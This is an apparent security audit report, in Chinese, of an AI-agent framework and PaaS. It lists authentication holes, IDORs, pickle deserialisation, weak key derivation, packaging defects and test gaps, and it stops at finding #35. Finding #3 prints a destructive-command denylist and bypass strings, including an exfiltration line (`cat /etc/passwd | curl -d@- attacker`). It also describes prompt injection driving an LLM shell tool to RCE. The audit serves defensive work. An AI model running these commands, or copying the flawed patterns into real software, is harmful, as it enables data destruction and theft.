# 项目审计 — 2026-06-05

## 执行摘要

- **整体健康度：黄色，安全边界偏红。** lambdagent kernel 以及 Phase 1/2 P0/P1 的工作（CEK、cost vector、instance 机制）经得起审视——bug 集中在 **PaaS 层的边缘**（auth、多 tenant、打包）以及未获得与 core 同等工程严谨度的 **example agent 代码**。
- **7 个 critical 发现，3 个类别。** (1) 两个无 auth 的接管接口（`POST /api/v1/setup/bootstrap`、`POST /api/v1/feishu/bind`）把 admin scope 的 API key 或 process-wide 的 bot 重绑能力交给任何先到 8000 端口的人；(2) `agentexample/agent67/tools/shell_executor.py` 在 `shell=True` 下执行 LLM 产出的字符串，仅用子串匹配 blocklist（轻易绕过）——经由 prompt injection 的 RCE；(3) 发布的 `agentpaas` 包结构上无法构建：`pyproject.toml` 未声明 `lambdagent` 依赖且使用 `where = [".."]`，打出来是空 wheel；外加真实 SiliconFlow/Amap key 离泄漏只差一条 `.gitignore` 规则，躺在 `agentexample/travelagent67/.env`。
- **架构债真实存在但集中。** 四套并存的 beta-reduction 解释器（Term.apply / async_core monkey-patch / executor isinstance / cek_machine isinstance）解释了 Q2 审计标记的 trace 分裂和 capture-environment 问题。1654 行的 `compiler.py` god module 里塞着一个 474 行的 `_compile_react` 闭包，重复实现了 agentruntime 的 ReAct engine。`agentpaas → lambdagent` 的边界靠在 request handler 里 inline 的 `from lambdagent...` import 维持，还伸手到带下划线的 private 里。
- **超出 critical 之外的主要安全风险：** dev Docker compose 硬编码了一个公开的 master key（`dev_auto_generated`）；rate-limit middleware 对无 auth 流量整段跳过（`if not api_key: return await call_next(request)`）；`/analyze/*` 和 `/feishu/*` router 没有 `Depends(get_tenant)`；`rollback_agent` 跳过 RBAC + audit log；agent 到 KB 的链接不做 tenant scope（运行时跨 tenant 读 KB）；`/providers/*` 把明文 key 写到全局文件并 process-wide mutate `os.environ`；secrets vault 用无 salt 的单轮 SHA-256 推导 AES-256-GCM key。
- **tests-vs-product 的差距是 single biggest non-security 风险。** `agents.py` + `knowledge.py` 共 3477 LOC 的 FastAPI route handler **零** 集成测试（`tests/` 下找不到 `TestClient`、`httpx`）。`authenticate()`——包括往 `api_keys.key_hash` 写入的 legacy-hash 自动迁移——没有任何 test。新的 `agents.agent_template` / `instance_dir` DB 列被 test suite 完全没用上，尽管它们是已文档化的多 tenant template-vs-instance 模型的承重件。
- **docs 与 code 正在快速漂移。** README.md 里 Quick-Start 的 Python DSL 例子用了不存在的 `Loop(max_iterations=)` 和 `Memory(strategy=, size=)` kwargs，新用户复制粘贴的第一行就崩；YAML schema 只接受 5 个 `type:` 值，docs 却宣传 11 个；`from-config-spec.md §13.1` 声称支持嵌套 sub-agent 编译，但 `_compile_chain` 静默把 `type: react`/`type: guard` step 的语义降级成无状态 `Lam`。根目录的 `CONTRIBUTING.md` 仍写 MIT，而 `LICENSE` 是 BUSL-1.1。

## 方法学

- **Pipeline：** 12 个 finder 在 6 个维度扇出——code correctness × 4 区域（`lambdagent`、`agentpaas`、`webui`、`agentexample`），architecture × 2（`monorepo`、`internals`），security × 4（CSO 风格：secrets、injection、auth、supply-chain），加上 tests-gaps、docs-accuracy、spec-vs-impl。
- **对抗式验证：** 每条 finding 由 **3 个独立 verifier agent** 在三个不同视角下复核——correctness（代码是否真的做了所声称的事？）、evidence（引用的片段是否原文、在生产路径上、不是 test/mock/comment？）、impact（真实 user / operator / attacker 是否合理地命中？）。每个 verifier 返回 `real: true|false` 和 `severity_adjusted`。
- **survival rule：** 只有 **≥2/3 verifier** 投 real 的 finding 才进入这份报告。severity 取三个调整后值的中位数（并列时取更保守的一个）——不是原始 finder 给的 severity。
- **数字：** finder 提出 100+ 条 → 经过三视角对抗复核后 **确认 84 条**。被丢掉的 16 条要么不可达（finder 误把 dead code 路径当作 live 路径）、要么是无具体 impact 路径的 structural smell、要么是与其他 finding 重根因的重复项。

## 按严重度分组的发现

### 严重 (7)

#### 1. `POST /api/v1/setup/bootstrap` 无 auth 创建 admin tenant
- **文件:** `agentpaas/api/v1/setup.py:41`
- **证据:**
  ```python
  @router.post("/bootstrap")
  async def bootstrap():
      ...
      db.execute("INSERT INTO api_keys ... json.dumps([\"agents:*\", \"keys:*\", \"billing:read\", \"admin:*\"]) ...")
      return {"status": "created", "api_key": key, "tenant_id": tid}
  ```
- **影响:** 任何在 operator 跑 setup 之前先到达 server 的无 auth 网络调用方拿到完整 `admin:*` API key。router 在 `app.py:125` 没挂任何 auth dependency；默认 bind 是 `0.0.0.0`。竞态窗口就是 `start.sh` 到第一次正式 setup 调用之间的整段时间。`tenant_exists` 分支只在已经有 tenant 行 *之后* 才生效——对实际暴露窗口毫无用处。
- **修复:** `/setup/bootstrap` 只 bind 到 loopback；或要求一次性 token，在 server 首次启动时打到 console。
- **维度:** sec-auth

#### 2. `/feishu/bind` 和 `/feishu/webhook` 既无 auth 也无签名验证——跨 tenant agent 劫持
- **文件:** `agentpaas/api/v1/feishu.py:53`
- **证据:**
  ```python
  @router.post("/bind")
  async def feishu_bind(request: Request):
      data = await request.json()
      agent_id = data.get("agent_id", "")
      _runner = make_paas_runner(agent_id)   # module-level singleton!
      os.environ["FEISHU_AGENT_ID"] = agent_id

  @router.post("/webhook")
  async def feishu_webhook(request: Request):
      """加密策略: 不加密（开发阶段）"""
      body = await request.json()
      result = await loop.run_in_executor(None, handle_event, body, _get_runner())
  ```
- **影响:** 任何人都能 POST 到 `/api/v1/feishu/bind` 带上另一个 tenant 的 `agent_id`，process-wide 地成为那个 agent 的飞书 bot（runner 是 module singleton，`os.environ` mutation 是 process-global）。然后 `/api/v1/feishu/webhook` 接受任意伪造事件、不验 `X-Lark-Signature`、跑 agent 并把 output 返给 attacker。两请求 exploit chain，前提仅为网络可达。
- **修复:** `/feishu/bind` 要求 admin scope 的 `TenantContext`；限制 `agent_id` 必须属于调用方 tenant；`/feishu/webhook` 验证 `X-Lark-Signature`。
- **维度:** sec-auth

#### 3. LLM 控制的 shell 命令以 `shell=True` 跑在轻易绕过的 denylist 后
- **文件:** `agentexample/agent67/tools/shell_executor.py:33`
- **证据:**
  ```python
  result = subprocess.run(
      cmd, shell=True, capture_output=True, text=True,
      timeout=30, cwd=os.path.expanduser("~"),
  )
  # safety.py: DANGEROUS_PATTERNS = ["rm -rf /", "rm -rf ~", "sudo rm -rf", ...]
  ```
- **影响:** 子串匹配 denylist 被 `rm  -rf /`（两个空格）、`/bin/rm -rf /`、`python -c "import shutil; shutil.rmtree(...)"`、`find / -delete`、`> ~/.zshrc`、`cat /etc/passwd | curl -d@- attacker` 轻松绕开。从 agent 吃下的任何 prompt-injection sink 都可达。`cwd=$HOME` 把爆炸半径定到用户的 home dir。（一位 verifier 指出当前这个函数未挂到 agent67 的 tool registry，但文件仍然 ship，离 RCE 只差一根 wire。）
- **修复:** 去掉 `shell=True`；要求 argv list；白名单二进制；或走 `agentpaas/engine/sandbox.py`。
- **维度:** sec-injection

#### 4. `agentpaas/pyproject.toml` 漏声明 `lambdagent` 依赖，尽管有 17+ 处 import
- **文件:** `agentpaas/pyproject.toml:10`
- **证据:**
  ```toml
  dependencies = [
      "fastapi>=0.100.0",
      "uvicorn[standard]>=0.20.0",
      "pydantic>=2.0",
      "pyyaml>=6.0",
  ]
  ```
- **影响:** `agentpaas` 至少在 17 处 import `lambdagent`（`agents.py:1330,1399,1415,1416`、`analyze.py:29,46,47,67,112`、`engine/cache.py:41`、`engine/sandbox.py:207,208`、`launch.py:184` 等），却未声明依赖。clean 环境下 `pip install agentpaas` 装出一个坏掉的包：每个 agent 执行接口首次调用都会抛 `ModuleNotFoundError`。CI commit `874896e` 只修了测试环境。
- **修复:** 在 `[project.dependencies]` 里加 `lambdagent @ file:../lambdagent`（或发布版本号 pin）。
- **维度:** arch-monorepo

#### 5. `agentexample/travelagent67/.env` 携带真实 SiliconFlow + Amap API key
- **文件:** `agentexample/travelagent67/.env:1-2`
- **证据:**
  ```
  AMAP_MCP_KEY=<SCRUBBED-32-char-hex>
  SILICONFLOW_API_KEY=<SCRUBBED-sk-prefix-48-chars>
  ```
  *(原文 quote 了两把真实 key 的字面值；为避免审计报告自身成为新的泄漏点，已替换为占位符。原值仍在仓库本地 .env 中——见 fix 部分。)*
- **影响:** 真实 key（SiliconFlow `sk-` 前缀符合官方 key 格式）落在仓库目录里。当前被 `.gitignore` 挡住（line 134 & 227），`git ls-files` 确认从未被追踪——但 `.gitignore` 是唯一防线。仓库位于 Obsidian Research-Vault 目录里，云同步（iCloud / Obsidian Sync）有合理概率把明文文件 exfil 到 git 防线之外。这两把 key 因为已被引用在本审计报告里，必须当作已泄漏并 rotate。
- **修复:** 立即在 vendor 侧 rotate 两把 key；用占位符替换 `.env`；新增 `.env.example`；加 pre-commit gitleaks hook。
- **维度:** correctness-examples / sec-secrets

#### 6. FastAPI 端点零 HTTP/API 层 test——3477 LOC 的 route handler 没有任何测试
- **文件:** `tests/test_agentpaas.py:1`（缺失）
- **证据:**
  ```
  $ grep -rln "TestClient\|httpx\|fastapi.testclient" tests/ lambdagent/tests/
  (no matches)
  ```
- **影响:** 整个对外 PaaS 面——agent CRUD、knowledge upload、jobs、route 层 RBAC 强制、`audit_log` INSERT、每条 WHERE 里的 tenant_id scope——都可能在 CI 全绿的情况下在生产里坏掉。任意一处 SQL 语句的 `tenant_id` filter 拼错都会跨 tenant 泄漏数据，而 test 依旧 pass。SEC-04（上一版审计的"API 层未强制 RBAC"）在没有 route 层 test 的前提下结构性不可检测。
- **修复:** 新增 `tests/test_api_*.py`，用 `fastapi.testclient.TestClient` 对接 sqlite-in-memory app fixture；覆盖 auth dependency、RBAC 拒绝路径、tenant 隔离、knowledge upload happy path。
- **维度:** tests-gaps

#### 7. `agentexample/agent67/tools/shell_executor.py` —— LLM 控制的 shell 以 `shell=True` 执行
*(与 #3 重复——保留在原 critical bucket 里，因为三人 verifier 在两轮投票里都落在 critical，并且文件真实 ship。当作同一个 root cause：换掉实现，不要 patch blocklist。)*

---

### 高 (33)

#### 8. `async_executor` 在共享 Context 上 race —— async path 上违反 Paper II Prop 30
- **文件:** `lambdagent/src/lambdagent/agentruntime/async_executor.py:242`
- **证据:**
  ```python
  tasks = [
      self.reduce(a, input_val, ctx, cancel.child(), timeout)
      for a in par.agents
  ]
  return tuple(await asyncio.gather(*tasks))
  ```
- **影响:** `_reduce_par`（240-246 行）和 `_reduce_pair`（248-254 行）把 **同一个** `ctx` 交给所有并发分支——只 fork 了 cancellation token。`multiagent.py:681` 里的 sync `AsyncPar` 正确地 `forked_ctxs = [ctx.fork() for _ in self.agents]`。并发分支因此从不同 asyncio task 同时 mutate 同一个 `ctx.trace` list 和 `ctx.memory` dict：trace 条目非确定性交错；任何往 `ctx.memory` 写（Memory/SharedMemory 封装）的 agent 都会失去 Prop 30 的 confluence 保证。Q2 audit 的 BUG-01 在另一条 code path 上以同样形态复发。
- **修复:** 对齐 sync path：`forked = [ctx.fork() for _ in par.agents]`；把 `forked[i]` 传给每个 task；gather 之后 `for f in forked: ctx.merge_trace(f)`。Pair 同理。
- **维度:** correctness-lambdagent

#### 9. fromconfig sub-agent caller 跨 sub-agent 边界丢 cancellation
- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:388`
- **证据:**
  ```python
  try:
      result = _compiled_cache[_name].apply(task, Context())
      return str(result)
  except Exception as e:
      return f"[SubAgent {_name} error: {e}]"
  ```
- **影响:** 每次 sub-agent 调用都被塞了一个全新空 `Context()`，丢掉 parent 的 `workspace_path`、`run_id`、`memory` 和 trace。宽泛的 `except Exception` 还会吞掉 `CancelledRun` 并转成普通字符串——orchestrator 看到一个 'tool error' 然后继续，而不是 cancel。
- **修复:** 用闭包捕获 parent ctx（`_shared_ctx` 已存在）；缩小 except，让 `CancelledRun` 透传。
- **维度:** correctness-lambdagent

#### 10. async handler 用同步 `term.apply()` 阻塞 event loop —— 一个慢 agent 拖死所有其他请求
- **文件:** `agentpaas/api/v1/agents.py:1467`（原引为 1453）
- **证据:** `result = term.apply(input_text, ctx)` 在 `def _execute_agent` 内被调用，而该函数来自 `async def run_agent`。`apply` 是同步的（`lambdagent/core.py:208`），所以多步 LLM/tool 执行（秒到分钟级）跑在 FastAPI event loop 线程上。`agentpaas/engine/sandbox.py:211` 的 `async def _exec_inprocess` 里有同样模式。
- **影响:** 任何一次 in-process agent run 都会冻结整个 FastAPI worker——health check、status poll、cancel 接口全都卡住。无论 asyncio.Semaphore 是多少，单 worker 有效并发是 1。streaming 版本正确用了 daemon 线程；sync `/run` 接口和 in-process sandbox path 没有。
- **修复:** `await asyncio.get_event_loop().run_in_executor(None, term.apply, input_text, ctx)`。
- **维度:** correctness-agentpaas

#### 11. 模块全局 shell CWD 被每个请求 mutate —— 并发 run 互相 race，写入对方 workspace
- **文件:** `agentpaas/api/v1/agents.py:1413-1415`
- **证据:**
  ```python
  from lambdagent.builtin_tools.shell_tools import _set_cwd as _shell_set_cwd
  _shell_set_cwd(workspace_path)
  ```
  作者明确的注释：*"This is process-global state — concurrent runs in the same process would race on it ... acceptable for the current single-tenant deployment but worth revisiting before enabling parallel runs."*
- **影响:** 两个重叠的 `/run` 调用：run A 的 Bash tool 把文件写进 run B 的 workspace。损坏 artifact、破坏 `cycle_N` 续跑、泄漏 tenant 数据、让续跑指向垃圾。已经写在注释里但没修；与多 tenant SPEC 声明矛盾。现实触发点是 KB 索引线程 + 聊天流量。
- **修复:** 每 asyncio task 用 `contextvars.ContextVar`，或在每次 Bash tool 调用里把 cwd 显式穿过去。
- **维度:** correctness-agentpaas

#### 12. secret-at-rest 的 key derivation 是无 salt 的单轮 SHA-256 —— 无 PBKDF2/Argon2，无 per-secret salt
- **文件:** `agentpaas/secrets/vault.py:11`
- **证据:**
  ```python
  def _derive_key(master_key: str) -> bytes:
      return hashlib.sha256(master_key.encode()).digest()
  ```
- **影响:** 每个 secret 都用 `sha256(master_key)` 派生的 AES-256-GCM 加密——无 stretching、无 per-secret salt、无 per-tenant key 隔离。master key 一旦泄漏，每个 tenant 的 secret 都 O(1) 破解。弱/dev master key 用 SHA-256（非 memory-hard）暴力破解成本极低。
- **修复:** `scrypt` 或 PBKDF2-HMAC-SHA256 ≥100k iters + per-secret salt；理想是 per-tenant HKDF。
- **维度:** correctness-agentpaas

#### 13. 共享单一 SQLite 连接（`check_same_thread=False`）+ 全局 singleton，被并发 async handler 共用
- **文件:** `agentpaas/db/models.py:35`
- **证据:**
  ```python
  self.conn = sqlite3.connect(db_path, check_same_thread=False)
  ```
  外加 `agentpaas/db/session.py:5` 的 `_db: Database = None` 被 `get_db()` 返给每个请求。
- **影响:** 每个 request、SSE stream、background worker（`_run_index_job` 线程在 `knowledge.py:909,938,1296,1319`）、agent-run 线程（`agents.py:791`）共用一个 `sqlite3.Connection`。cursor 状态、事务、`commit()` 都不是 concurrent-safe——交错的 INSERT/UPDATE 可能破坏 cursor、抛 "Recursive use of cursors not allowed"、或把别的 request 的事务半提交。
- **修复:** per-request 连接通过 FastAPI dependency，或换 SQLAlchemy engine 加 pool。
- **维度:** correctness-agentpaas

#### 14. `rollback_agent` 缺 RBAC 检查、缺 audit log，跨 tenant 调用静默 200-OK
- **文件:** `agentpaas/api/v1/agents.py:272-292`
- **证据:** 没有 `require_permission(tenant, "agents:write")`；version SELECT 缺 `tenant_id` filter；UPDATE 的 `tenant_id = ?` 失败时静默 0 行变更但接口仍返回 `"Rolled back"`；没有 `_audit_log` 调用。对照 `update_agent`（line 207-208）和 `delete_agent`（line 262-263），它们两项都做了。
- **影响:** 任意已认证用户（甚至只读 key）都能调 rollback；可以通过 404-vs-200 枚举其他 tenant 的 version 号；静默失败掩盖入侵；缺 audit trail。
- **修复:** 加 `require_permission` + `_audit_log`；version SELECT 加 `AND tenant_id = ?`；检查 `cursor.rowcount`。
- **维度:** correctness-agentpaas

#### 15. `Chat.tsx` 的 SSE stream 在用户离开页面时不被取消 —— 后端继续 spawn subprocess
- **文件:** `webui/src/pages/Chat.tsx:862`（sendMessage cleanup）以及缺失的 unmount effect
- **证据:** 没有 `useEffect(() => () => abortRef.current?.(), [])`。657-661 行的 inline 注释明确说没有 `/cancel` POST 时 *"the agent's background thread keeps spawning claude subprocesses even after the SSE connection is dead."* 然而页面导航从不触发那个 POST。
- **影响:** 流式中点回 /agents → 后端 run 泄漏，SSE reader 继续在已 unmount 的 component 上 `setMessages`。付费 Claude backend 上这是每次随手返回直接烧钱，chat header 的回退按钮就能触发。
- **修复:** 给 Chat() 加 `useEffect(() => () => { abortRef.current?.() }, [])`，让导航触发 Stop 逻辑。
- **维度:** correctness-webui

#### 16. `qaagent67lambda` template 到处硬编码 `/home/67/knowledge/finance` —— fresh clone 完全跑不起来
- **文件:** `agentexample/qaagent67lambda/agent-config.yml:179`
- **证据:** 13 个 path key 硬编码 `/home/67/knowledge/finance`（line 179-185、218、223、247-253）。`scripts/deploy_domain.sh:43` 是 `KNOW_DIR="/home/67/knowledge/$DOMAIN"`，`docker run -v /home/67:/home/67`。连号称便携性逃生口的 `scripts/instance.yml.template:14-24` 也硬编码 `/home/67/`。
- **影响:** 在 macOS 或 Windows 上 clone 的用户不重写每条 path 就跑不起来这个 template。template-instance 机制并没有像设计那样解决便携性。
- **修复:** 替换为 `${KNOWLEDGE_ROOT:-./knowledge}/<domain>`，让 instance.yml 提供具体路径。
- **维度:** correctness-examples

#### 17. `qaagent67lambda` 用 `pickle.load` 加载 vector index 元数据 —— 共享 knowledge 目录被污染即 RCE
- **文件:** `agentexample/qaagent67lambda/scripts/search_engine.py:52`
- **证据:** `search_engine.py:52,54`、`search_engine_v2.py:95`、`build_vector_index.py:87` 全都 `pickle.load(...)` `agent-config.yml` 里引用的文件（`vectorMeta: /home/67/knowledge/finance/rag_vectors_meta_v2.pkl`）。
- **影响:** pickle 反序列化是无限制 code execution。`deploy_domain.sh` 把 `/home/67:/home/67` bind-mount 进去，并指导 operator 从外部源把 `.pkl` 落进共享目录。任何能往 knowledge 目录写 `.pkl` 的人都能以 QA service 进程身份执行代码。memory 里记录的 maritime/finance/clean 三个线上部署都暴露。
- **修复:** metadata 改成 JSON 或 numpy `.npz`；pickle 走 `--unsafe-pickle` + HMAC 闸门。
- **维度:** correctness-examples

#### 18. `agentpaas` 包布局用 `where = [".."]` 把自己 pin 到了自己目录之外
- **文件:** `agentpaas/pyproject.toml:22-26`
- **证据:**
  ```toml
  [tool.setuptools.package-dir]
  agentpaas = "."
  [tool.setuptools.packages]
  find = {namespaces = false, where = [".."], include = ["agentpaas", "agentpaas.*"]}
  ```
- **影响:** 实测复现：从 `agentpaas/` 跑 `python -m build --sdist`，再 `pip install` 那个 tarball，得到的 wheel **只有 metadata**（5 个文件，1.2KB）——零源码。装完之后 `import agentpaas` 会失败。CI commit `874896e` 之所以被需要正是这个原因。**这个包今天作为可发布 wheel 是 unbuildable 的。**
- **修复:** 切换到 src-layout（`agentpaas/src/agentpaas/`）像 lambdagent 那样；或用 `where = ["."]` 配自包含的 `package-dir`。
- **维度:** arch-monorepo

#### 19. Compiler（Layer 4）伸手抓 Runtime（Layer 5）的 ReAct event 类型
- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:845`
- **证据:** `from lambdagent.agentruntime.react_engine import StepEvent, STEP_THINK` 在 `_compile_react` 的闭包里被构造（在 988、1000、1026 重复出现；外加 line 766 的 `agentruntime.cancel` import）。
- **影响:** SPEC 的 5 层模型把 Compiler 放在 Runtime 之下：Compiler emit Term，Runtime interpret Term。这里 compiler 同步构造并 dispatch runtime-specific 事件，让产出的 term 不再 interpreter-agnostic，制造了循环层对。
- **修复:** 定义 runtime-中立的 `core.events.StepEvent` protocol；compiler 和 react_engine 都从那里 import。
- **维度:** arch-internals

#### 20. beta-reduction 被四套并行解释（Term.apply、async_core monkey-patch、executor、cek_machine）
- **文件:** `lambdagent/src/lambdagent/__init__.py:117`（import-time monkey-patch 钩子）
- **证据:** 四套实现并存：(a) 每个 Term 类上的 OOP `apply()`、(b) `async_core.py` 在 import 时给 14 个 Term 子类 monkey-patch `aapply`、(c) `agentruntime/executor.py:49` 11 分支 isinstance dispatch、(d) `cek_machine.py:465-601` 8+ 分支 isinstance。
- **影响:** 每个构造子的语义编码在 4 个地方。加新构造子或改一条规则要改 4 个不相关文件。Q2 audit 的 BUG-04（CEK 丢失 captured environment）和 BUG-01（Context.fork 浅拷贝）是这些实现漂移的直接症状。import-time monkey-patching 破坏 test 依赖的 closed-world 假设。
- **修复:** 选一种 strategy（CEK 最 principled），其余降级为薄 adapter。monkey-patching 换成普通 class method。
- **维度:** arch-internals

#### 21. `compiler.py` 是 1654 行的 god module，里面有个 474 行的 `_compile_react` 闭包
- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:627`
- **证据:** `_compile_react` 跨 627-1109 行，在一个闭包里做：ReAct step loop、prompt 装配、tool 抽取、tool gateway 接线、cancellation 轮询、4 个阶段的流式 step event、termination 启发式、state 压缩、session 检测，以及对 12 个其他包的 lazy import。重复了 `agentruntime/react_engine.py` 的 loop 逻辑（319 行）。
- **影响:** "改 ReAct loop" 和 "改 YAML 怎么编译" 被强行变成同一个 edit。两套 ReAct loop 各自维护独立 trace——Q2 audit BUG-06（trace 三路分叉）的 root cause。未提交 diff 显示它至今还在这里被持续 patch，没回流上游。
- **修复:** 把 `_compile_react` 闭包抽成 `agentruntime/react_loop.py` 里的一个真正的 class。把 `_inject_resistant_prompt`、`_compress_state`、`_extract_tool_call` 拉到 `fromconfig/prompts.py`。
- **维度:** arch-internals

#### 22. 任何 React error boundary 都不存在 —— 单个渲染错误把整个 app 白屏
*(原始 high，verifier 把 impact 调成 medium；在下方 medium 区报告)*

#### 23. Chat 历史恢复 effect 用非 functional setState —— race 覆盖正在流式的回复
*(原始 high，调整为 medium；在 medium 区报告)*

#### 24. dev Docker Compose 硬编码静态 AES-256-GCM master key fallback（`"dev_auto_generated"`）
- **文件:** `docker-compose.dev.yml:35`
- **证据:** `AGENTPAAS_MASTER_KEY: "${AGENTPAAS_MASTER_KEY:-dev_auto_generated}"`
- **影响:** 没有 env override 时，字面字符串 `"dev_auto_generated"` 就是 master key。`vault.py:_derive_key` 把它 hash 成 AES-256-GCM key material。每条 dev secret 都用一把公开提交的 key 加密。dev 环境里通常存着真实的 Anthropic / OpenAI / DashScope / 飞书 API key。data 目录是 host-mount 的；attacker exfil SQLite secrets 表后可以离线解所有内容。
- **修复:** 去掉 `:-default`，让 compose 像生产那样 fail fast。用 `install-native.sh` / `start.sh` 的 `token_hex(32)` 生成。
- **维度:** sec-secrets

#### 25. rate-limit middleware 对 Authorization 头为空的请求静默放行
- **文件:** `agentpaas/api/app.py:45`
- **证据:**
  ```python
  api_key = request.headers.get("authorization", "")[:20]
  if not api_key or request.url.path in ("/health", "/", "/docs", "/redoc"):
      return await call_next(request)
  ```
- **影响:** 无 Authorization header → 零 throttle。每个 unauthenticated 端点（`/setup/bootstrap`、`/feishu/bind`、`/feishu/webhook`、`/analyze/*`、SPA fallback）都没有 rate limit，包括上面的 bootstrap-race 和 DoS 向量。20 字符前缀分桶本身也错——不同 key 共享前缀会撞桶；attacker 反过来枚举不同前缀就拿到不同桶，per-bucket 暴力破解不被 throttle。
- **修复:** unauthenticated 用 client IP 限流；authenticated 用完整 tenant_id（通过 `Depends`，不是 header 切片）。
- **维度:** sec-auth

#### 26. 整个 `/analyze/*` router 没 auth —— DoS + 免费算力
- **文件:** `agentpaas/api/v1/analyze.py:25`
- **证据:** 五个 `/analyze` 端点都没声明 `Depends(get_tenant)`。`_compile` 把用户 YAML 写到 tmpfile 并跑 `from_config()`，无 size / time / depth 上限。
- **影响:** 任何 internet 调用方提交任意 config 就能触发完整 lambdagent compiler。叠加空 Authorization 时的 rate-limit bypass，per-IP 也没限流。便宜的 CPU DoS，外加 kernel lint 规则信息泄漏。
- **修复:** 每个 analyze 端点加 `Depends(get_tenant)`；限制 request body 大小；卡 term 最大深度。
- **维度:** sec-auth

#### 27. `/knowledge/{kb_id}/files` 任意 host 文件注册（无 containment 检查）
- **文件:** `agentpaas/api/v1/knowledge.py:856`
- **证据:** `add_files` 接受 `AddFilesRequest.file_paths` 里的绝对路径，只验 `p.is_file()`，从不检查 `p` 是否在 `kb["root_dir"]` 下。line 1050 的 wiki 端点 *的确* 做了 containment 检查，说明这套代码知道这个 pattern。
- **影响:** authenticated tenant 把 `/etc/passwd`、`~/.ssh/id_rsa`、`~/.aws/credentials` 注册到自己 KB 下。（一位 verifier 指出索引脚本扫的是 `kb_root`，不是注册路径，所以端到端 exfil chain 取决于下游谁读 `kb_files.file_path`——但注册这步本身就是 IDOR primitive，仅 audit-trail 混乱就足够要求修复。）
- **修复:** `Path(fp).resolve()`，拒绝除非 `str(resolved).startswith(str(Path(kb["root_dir"]).resolve()) + os.sep)`。
- **维度:** sec-injection

#### 28. `/jobs/{job_id}` IDOR —— 读和取消都不做 tenant scope
- **文件:** `agentpaas/api/v1/jobs.py:15`
- **证据:** `get_job` 和 `cancel_job` 都注入了 `tenant: TenantContext`，但从不比对 `job.tenant_id`。Job dataclass 上已经有这个字段。同级的 `traces.py:14` 和 `agents.py:160` 正确强制 `WHERE id=? AND tenant_id=?`。
- **影响:** 任何 authenticated tenant 拿到 job_id 都能读另一个 tenant 的 job 结果（PII、agent trace）或 cancel 别人正在跑的 job（DoS）。
- **修复:** `job.tenant_id != tenant.tenant_id` 时拒绝（返回 404 而不是 403，避免 id oracle）。
- **维度:** sec-auth

#### 29. `/providers/*` 把明文 API key 写进全局文件并写进 process env，无 tenant 分区
- **文件:** `agentpaas/api/v1/providers_api.py:133`
- **证据:**
  ```python
  PROVIDERS_FILE = os.path.expanduser("~/.agentpaas/providers.json")
  saved[provider_id] = entry           # not keyed by tenant
  os.environ[env_key] = req.api_key    # process-wide mutation
  ```
- **影响:** tenant A 的 POST 覆盖 tenant B 存的 key（跨 tenant 静默覆盖）；`os.environ` mutation 意味着 B 后续的 agent run 计费会算到 A 的 key 上。`/providers/{id}/test` 会 exfil 当前那把 key。key 明文落盘；`secrets/vault.py` 被绕过。
- **修复:** 按 `tenant.tenant_id` 分键；去掉 `os.environ` mutation；走 `secrets/vault.py`。
- **维度:** sec-auth

#### 30. agent 到 KB 的链接不做 tenant scope —— 运行时跨 tenant 读 KB
- **文件:** `agentpaas/api/v1/agents.py:1127`（以及 `_build_kb_context` 里的 1191）
- **证据:** `# KB is a shared resource; no tenant restriction` 注释，校验 `SELECT id FROM knowledge_bases WHERE id = ?` 无 tenant filter。`knowledge.py` 在其他每个 KB 操作上都强制 tenant_id。
- **影响:** tenant A 把 tenant B 的 `kb_id` 链到自己某个 agent；每次 run 都把 B 的文档注入 A 的 prompt context。UUID 可通过 404-vs-200 timing oracle 猜出来。
- **修复:** 两个 query 都加 `AND tenant_id = ?`；或引入显式 `shared=true` 列 + 授权表。
- **维度:** sec-auth

#### 31. `agent-lint-action` 在 lambdagent 装失败时静默 fallback 到 no-op installer
- **文件:** `agent-lint-action/action.yml:53`
- **证据:** `pip install pyyaml lambdagent || pip install pyyaml`。`lambdagent` 不在 PyPI 上（已验证：pypi.org 返回 404）。`lint_runner.py:66` 接住 ImportError，返回空 `lint=[]/schema=[]` 加一个 `warning` key（从不被读取），所以 exit 是 0。
- **影响:** 下游用户拿到绿色 CI badge，实际做了零 lint。Typo-squat 机会：谁在 PyPI 注册 `lambdagent` 就能在每个用这个 action 的 CI 里 code execution。
- **修复:** 在 PyPI 以验证身份发布 lambdagent 并 pin 版本；安装失败要 loud fail（`set -e`）。
- **维度:** sec-supply-chain

#### 32. Docker image 以 root 运行（无 `USER` directive）
- **文件:** `Dockerfile:76`
- **证据:** `grep -n USER Dockerfile` 没结果。CMD 跑 `python -m agentpaas serve --host 0.0.0.0`。`VOLUME ["/data"]` 从 host bind-mount。`docker-compose.dev.yml` 还直接 bind-mount `./agentpaas`、`./lambdagent`、`./lambdagent_guard`。
- **影响:** agentpaas 执行 LLM 产出的 tool 调用 + subprocess sandbox——任何一次 sandbox 逃逸、tool RCE 或 prompt-injection 驱动的文件写入都以 root 拥有 container、把 root 拥有的文件写进 host `/data` volume，并（在 dev 里）改写开发者的源码树。
- **修复:** `RUN useradd -u 10001 -m appuser && chown -R appuser /data /app` + 在 CMD 前 `USER appuser`。
- **维度:** sec-supply-chain

#### 33. `setup.sh` 在没有 `pyproject.toml` 的 repo root 上跑 `pip install -e ".[all]"`
- **文件:** `setup.sh:140`
- **证据:** `pip install -e ".[all]" --quiet 2>&1 | tail -1` 后无条件 `ok "lambdagent 已安装"`。repo root 没有 `pyproject.toml`。line 144 正确用了 `./agentpaas[dev]`。
- **影响:** 入门 onboarding 脚本的第一步装包静默失败（管道掩盖错误，没 `set -o pipefail`），然后打绿勾。用户在 server 启动时拿到 `ImportError`。和 CI commit `874896e` 修的是同一个缺陷，但没传播到这里。
- **修复:** `pip install -e "./lambdagent[all]" --quiet` 并去掉 `| tail -1`，或 `set -o pipefail`。
- **维度:** sec-supply-chain / correctness-examples

#### 34. `authenticate()` —— API-key 登录流程 —— 零 test 覆盖
- **文件:** `agentpaas/api/middleware/auth.py:80`
- **证据:** `grep -rn "authenticate\|api_keys\|legacy_hash" tests/` 返回 0。只有 `test_hash_key()` 在孤立测原语。
- **影响:** legacy→PBKDF2 自动迁移路径会写 `key_hash` 行；没有 test 验证过期 key 被拒；没有 test 覆盖 Bearer 前缀切片或短 key 边界。SEC-01 回归静默溜过。
- **修复:** 用真实 sqlite tenants+api_keys schema 写 test 覆盖成功、错误 key、过期、suspended、格式不对、Bearer，以及 legacy→PBKDF2 迁移断言。
- **维度:** tests-gaps

#### 35. `lambdagent/rag.py`（438 LOC）—— Paper III 的招牌特性 —— 零 direct test
